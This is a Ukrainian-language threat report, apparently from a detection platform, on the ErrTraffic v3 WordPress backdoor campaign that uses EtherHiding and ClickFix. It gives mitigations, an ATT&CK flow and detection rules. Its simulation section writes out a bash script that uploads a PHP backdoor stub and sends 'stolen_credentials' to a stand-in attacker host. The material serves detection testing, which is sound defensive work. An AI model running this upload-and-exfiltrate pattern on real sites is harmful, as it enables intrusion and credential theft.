ErrTraffic v3 використовує EtherHiding у кампаніях ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Звіт описує нову кампанію з використанням інструменту ErrTraffic v3 для компрометації сайтів WordPress шляхом встановлення му‑плагіну з бекдором. Бекдор впроваджує заплутаний JavaScript, який отримує додаткові корисні навантаження через засіб EtherHiding на основі блокчейну. Фінальна стадія доставляє шкідливий код, специфічний для ОС, включно із зашифрованим корисним навантаженням PowerShell, у браузери жертв. Помилки оперативної безпеки, такі як жорстко закодовані ключі, розкривають інфраструктуру.
Розслідування
Команда LevelBlue SpiderLabs досліджувала му‑плагін бекдор для WordPress, вбудований JavaScript маячок і панель управління ErrTraffic V3. Вони відстежили використання статичних XOR ключів, декодування Base64 і виклики смарт‑контрактів до нод Polygon RPC. Аналіз також виявив жорстко закодований ключ аутентифікації, що використовується для API зв’язку, та картографував хостинг-інфраструктуру кількох провайдерів з куленепробивним захистом.
Пом’якшення
Захисникам слід видалити му‑плагін бекдор, блокувати відомі зловмисні TLD та діапазони IP, моніторити використання жорстко закодованого API ключа та обмежити вихідні з’єднання до кінцевих точок RPC блокчейну. Регулярно перевіряйте встановлення WordPress на наявність несподіваних му‑плагінів та перевіряйте цілісність файлів. Розгорніть веб‑аплікаційні фаєрволи для виявлення маячкових JavaScript патернів.
Відповідь
Після виявлення ізолюйте постраждалий веб-сервер, видаліть файли бекдору та змініть всі облікові дані адміністратора. Блокуйте визначені зловмисні домени та кінцеві точки RPC на мережевому периметрі. Проведіть повний криміналістичний аналіз для виявлення будь-яких завантажених корисних навантажень і моніторте подальшу C2 активність із використанням розкритого токена API.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Дія</b> – <b>T1659 Ін’єкція контенту</b><br/>Використання сайту WordPress для завантаження зловмисного му‑плагіну (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Дія</b> – <b>T1671 Інтеграція хмарних застосунків</b> / <b>T1525 Встановлення внутрішнього образу</b><br/>Бекдор встановлюється як муcту2011використовуваний плагін, що виконується при кожному запиті"] class step_persistence action step_credential_access["<b>Дія</b> – <b>T1056.003 Захоплення вводу</b><br/>Впроваджений JavaScript захоплює облікові дані адміністратора та відправляє їх атакуючим"] class step_credential_access action step_c2["<b>Дія</b> – <b>T1102.003 Односторонній зв’язок веб-служби</b><br/>Маяк відправляє дані відвідувачів через navigator.sendBeacon до доменів атакуючих"] class step_c2 action step_obfuscation["<b>Дія</b> – <b>T1027 Заплутані файли</b><br/>Корисні навантаження кодуються за допомогою Base64 і XOR, вбудовані у вбудовані скрипти"] class step_obfuscation action step_smart_contract["<b>Дія</b> – <b>T1059.009 Хмарний API</b><br/>Скрипт здійснює запити до кінцевих точок RPC Polygon та смарт-контрактів (EtherHiding) для URL-адрес"] class step_smart_contract action step_dead_drop["<b>Дія</b> – <b>T1102.001</b><br/>Використання блокчейну як заглушки для конфігурації C2"] class step_dead_drop action step_encrypted["<b>Дія</b> – <b>T1573.001 Симетричне шифрування</b><br/>Трафік API шифрується за допомогою AESu2011GCM або RC4 з використанням жорстко закодованого ключа"] class step_encrypted action step_execution["<b>Дія</b> – <b>T1059.001 PowerShell</b><br/>Завантажувач створює тимчасовий каталог, записує виконуваний файл та отримує специфічне для ОС корисне навантаження"] class step_execution action step_priv_esc["<b>Дія</b> – <b>T1546.016 Пакети інсталятора</b><br/>Скрипт PowerShell реєструється як пакет інсталятора для підтримки присутності"] class step_priv_esc action %% Connections step_initial_access –>|веде до| step_persistence step_persistence –>|дозволяє| step_credential_access step_credential_access –>|надає| step_c2 step_c2 –>|використовує| step_obfuscation step_obfuscation –>|сприяє| step_smart_contract step_smart_contract –>|зберігає| step_dead_drop step_dead_drop –>|доставляє| step_encrypted step_encrypted –>|підтримує| step_execution step_execution –>|дозволяє| step_priv_esc "
Потік атаки
Детекції
Підозріла командна строка містить UNC шлях із виконуваним файлом як аргумент (через cmdline)
Перегляд
Можливі шаблони атаки ClickFix в командній строкі (через cmdline)
Перегляд
Можливий процес виконання Powershell в підозрілому каталозі (через cmdline)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
Можливі індикатори обфускації Powershell (через powershell)
Перегляд
Можлива спроба зловживання Publicnode Ethereum як каналу C2 (через dns_query)
Перегляд
Підозріле командування та контроль через незвичайний домен верхнього рівня (TLD) DNS запит (через dns)
Перегляд
Виявлення обфусцованого корисного навантаження PowerShell з примусовим використанням TLS 1.2 [Windows Powershell]
Перегляд
Виявлення вбудованого JavaScript і бекдору WordPress [Вебсервер]
Перегляд
Виявлення активності ErrTraffic V3 на скомпрометованих сайтах WordPress [Вебсервер]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базових налаштувань повинна бути успішно пройдена.
Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначене для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати визначені TTP та мати на меті генерувати саме таку телеметрію, яку очікує логіка виявлення. Абрстрактні або нерелевантні приклади призведуть до неправильної діагностики.
-
Нападницький наратив та команди:
Зловмисник скомпрометував обліковий запис адміністратора WordPress і завантажує зловмисний файл PHP з назвоюsession-manager.phpдо веб-кореня. Файл містить секцію HTML, яка на вигляд нешкідлива і закінчується вбудованим<script>блоком, коментар до якого читається як “JavaScript вбудований в кінець секції”. Скрипт здійснює приховану ексфільтрацію даних у хмарне сховище (симуляція черезcurlPOST). Використанняnavigator.sendBeacon()не відбувається, зберігаючи запит у вікні виявлення правила.- Завантаження зловмисного бекдору:
curl -u admin:password -F "file=@session-manager.php" "http://target.example.com/wp-admin/async-upload.php" - Запуск бекдору (генерує телеметрію, що запускає виявлення):
curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Завантаження зловмисного бекдору:
-
Скрипт регресійного тестування:
#!/usr/bin/env bash # # Симуляція завантаження та виклик зловмисного бекдору WordPress # який містить точну фразу, за якою стежать Sigma правила. # set -euo pipefail TARGET="http://target.example.com" ADMIN_USER="admin" ADMIN_PASS="password" # 1. Створення зловмисного PHP навантаження локально cat > session-manager.php <<'EOF' <?php // JavaScript вбудований в кінець секції echo "<!DOCTYPE html><html><body>"; echo "<script>/* зловмисний код */</script>"; echo "</body></html>"; // Простий ексфільтраційний штуцер (без sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('stolen_credentials'); $url = "https://malicious-storage.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Завантаження навантаження через кінцеву точку асинхронного завантаження WordPress curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Зловмисний session-manager.php завантажено" # 3. Виклик бекдору для генерування трафіка, що видно для виявлення curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Викликано бекдор – телеметрія виявлення тепер має бути присутня" # 4. Необов'язково: пауза для засвоєння SIEM sleep 5 -
Команди очищення:
# Видалення зловмисного файлу з сервера (вимагає адміністратора SSH доступу) ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Очищення завершено – бекдор видалено"